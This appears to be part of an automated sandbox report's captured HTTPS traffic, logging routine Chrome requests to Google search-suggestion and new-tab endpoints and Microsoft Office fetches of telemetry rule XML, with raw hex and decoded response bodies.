2024-10-30 22:11:20 UTC	16384	IN	Data Raw: 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: O> </F> <F T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	172.217.18.4	443	6552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:20 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 22:11:20 UTC	1266	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:20 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Bb_OLv3YeYPdmNU62eh6Vg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 22:11:20 UTC	112	IN	Data Raw: 33 32 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 79 74 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 68 69 6e 74 73 20 6f 63 74 6f 62 65 72 20 33 30 22 2c 22 77 61 6c 6d 61 72 74 20 64 65 61 6c 73 20 62 6c 61 63 6b 20 66 72 69 64 61 79 22 2c 22 67 67 73 74 20 31 2e 34 30 20 70 61 74 63 68 20 6e 6f 74 65 73 22 2c 22 64 65 73 20 6d 6f 69 6e Data Ascii: 322)]}'["",["nyt connections hints october 30","walmart deals black friday","ggst 1.40 patch notes","des moin
2024-10-30 22:11:20 UTC	697	IN	Data Raw: 65 73 20 69 6f 77 61 20 62 65 67 67 61 72 73 20 6e 69 67 68 74 22 2c 22 62 72 65 65 64 65 72 73 20 63 75 70 20 32 30 32 34 20 72 61 63 65 73 22 2c 22 6c 75 63 65 20 6d 61 73 63 6f 74 20 63 61 74 68 6f 6c 69 63 20 63 68 75 72 63 68 22 2c 22 63 6f 6f 6b 69 65 20 62 75 74 74 65 72 20 63 6f 6c 64 20 62 72 65 77 20 64 75 6e 6b 69 6e 20 64 6f 6e 75 74 73 22 2c 22 61 70 70 6c 65 20 6d 61 63 62 6f 6f 6b 20 70 72 6f 20 6d 34 20 70 72 6f 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f Data Ascii: es iowa beggars night","breeders cup 2024 races","luce mascot catholic church","cookie butter cold brew dunkin donuts","apple macbook pro m4 pro"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwo
2024-10-30 22:11:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	172.217.18.4	443	6552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:20 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49710	172.217.18.4	443	6552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:20 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 22:11:20 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 22:11:20 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 22:11:20 UTC	336	IN	Data Raw: 32 30 35 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2052)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-30 22:11:20 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-30 22:11:20 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-30 22:11:20 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-30 22:11:20 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-30 22:11:20 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 31 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700251,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-30 22:11:20 UTC	1056	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-30 22:11:20 UTC	490	IN	Data Raw: 31 65 33 0d 0a 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 5f 2e 68 65 28 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 69 65 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 69 65 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 6c 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6e 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 69 Data Ascii: 1e3_.je\u003dfunction(a){const b\u003d_.he();return new _.ie(b?b.createScriptURL(a):a)};_.ke\u003dfunction(a){if(a instanceof _.ie)return a.i;throw Error(\"F\");};_.me\u003dfunction(a){if(le.test(a))return a};_.ne\u003dfunction(a){if(a instanceof _.Yd)i
2024-10-30 22:11:20 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 54 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 Data Ascii: 8000${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfunction(a){var b\u003d_.Ta(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.qe\u003dfunct
2024-10-30 22:11:21 UTC	1378	IN	Data Raw: 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 64 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 7a 65 5b 64 5d 2c 63 29 3a 5f 2e 75 65 28 64 2c 5c 22 61 72 69 61 2d 5c 22 29 7c 7c 5f 2e 75 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 7a 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 Data Ascii: sOwnProperty(d)?a.setAttribute(ze[d],c):_.ue(d,\"aria-\")\|\|_.ue(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};ze\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49712	172.217.18.4	443	6552	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:20 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 22:11:20 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 22:11:20 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 22:11:20 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-30 22:11:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49718	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:21 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 22:11:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 22:11:21 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: fc6998d3-101e-008d-52ad-2692e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T221121Z-16849878b78q9m8bqvwuva4svc000000071000000000zd3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 22:11:21 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.5	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 22:11:21 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
